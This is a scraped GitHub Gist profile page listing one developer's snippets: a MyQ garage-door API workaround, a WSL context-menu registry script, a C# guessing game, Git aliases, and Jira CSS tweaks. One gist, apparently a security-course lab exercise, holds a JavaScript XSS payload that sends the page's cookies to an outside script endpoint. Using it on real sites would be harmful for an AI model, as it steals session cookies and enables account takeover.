Skip to content

Instantly share code, notes, and snippets.

Matthew Watkins watkinsmatthewp

Block or report user

Report or block watkinsmatthewp

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@watkinsmatthewp
watkinsmatthewp / README.md
Last active Feb 2, 2019
Working around MyQ's partner integration limitations
View README.md

Working around MyQ's partner integration limitations

I got a new home recently. And for the first time in my life, I have a garage! And a smart garage door to boot! However, if I want to integrate the rest of my stuff into it (like IFTTT or the Google Assistant), I have to pay $10. Per year. Per integration. You can sort of get around that by setting up a Google Assistant applet in IFTTT (two integrations for the price of one), but when I tried their free one month trial, it turns out you can't even use their partner integrations to open your garage door-- only to close it. Lame sauce.

Fortunately, @thomasmanduchira was kind enough to sniff the traffic on the MyQ app, document the pretty basic MyQ API, and throw together a simple NPM package for us. Now where to host it? I do have a Raspberry Pi mounted behind my TV, but I'd prefer something with better reliability and easier deploy. And for a quick little node app like this, you can't get

View Instructions.md

Make sure you have the Windows Subsystem for Linux installed. Then run the following script:

; Context menu for right-clicking the background of a directory or the desktop.
[HKEY_CLASSES_ROOT\Directory\Background\shell\Bash]
@="Bash..."
[HKEY_CLASSES_ROOT\Directory\Background\shell\Bash\command]
@="bash"

; Context menu for right-clicking folders.
View Guessinator.cs
using System;
namespace Guessinator
{
class Program
{
static void Main(string[] args)
{
try
{
View mw-ncsu-csc-405-level08.js
console.log('Executing');
var xmlhttp = new XMLHttpRequest();
xmlhttp.open('GET', 'https://script.google.com/macros/s/AKfycbyC8BnFpfUEDM9FUuaQDwd5GhNWFTHKuMzwyEz19q1jC8XyMOY/exec?mycookies=' + document.cookie,true);
xmlhttp.send();
console.log('Executed');
var element = document.getElementsByTagName("ul"), index;
console.log(element.length);
for (index = element.length - 1; index >= 0; index--) {
element[index].parentNode.removeChild(element[index]);
}
@watkinsmatthewp
watkinsmatthewp / README.md
Last active Jul 2, 2018
Git aliases script
View README.md

This script sets up your Git environment by creating/setting several common aliases and shortcuts for them.

@watkinsmatthewp
watkinsmatthewp / 01-JiraLikeTrello.md
Last active Apr 21, 2019
Make Jira's Agile Board look like Trello
View 01-JiraLikeTrello.md

Make Jira's Agile Board look like Trello

Do you love the simple, easy-to-use, good-looking interface of Trello? But are you instead forced to use the ugly, complicated "polar bear in a snow storm" Jira agile board for your planning, grooming, and standups? Then this is the pill that just might help you survive, allowing you to use Jira's clunky agile board without giving up your sanity.

To start improving your Atlassian experience, use the browser plugin of your choice to inject the CSS code below into your Jira page (Chrome users: I have really enjoyed this extension if you don't have one already).

Extra credit

Hate Jira's annoying issue editing sidebar that takes precious column space and is too squished to appreciate your ticket anyway? And hate it when you click the ticket title and Jira redirects you to another page? You

You can’t perform that action at this time.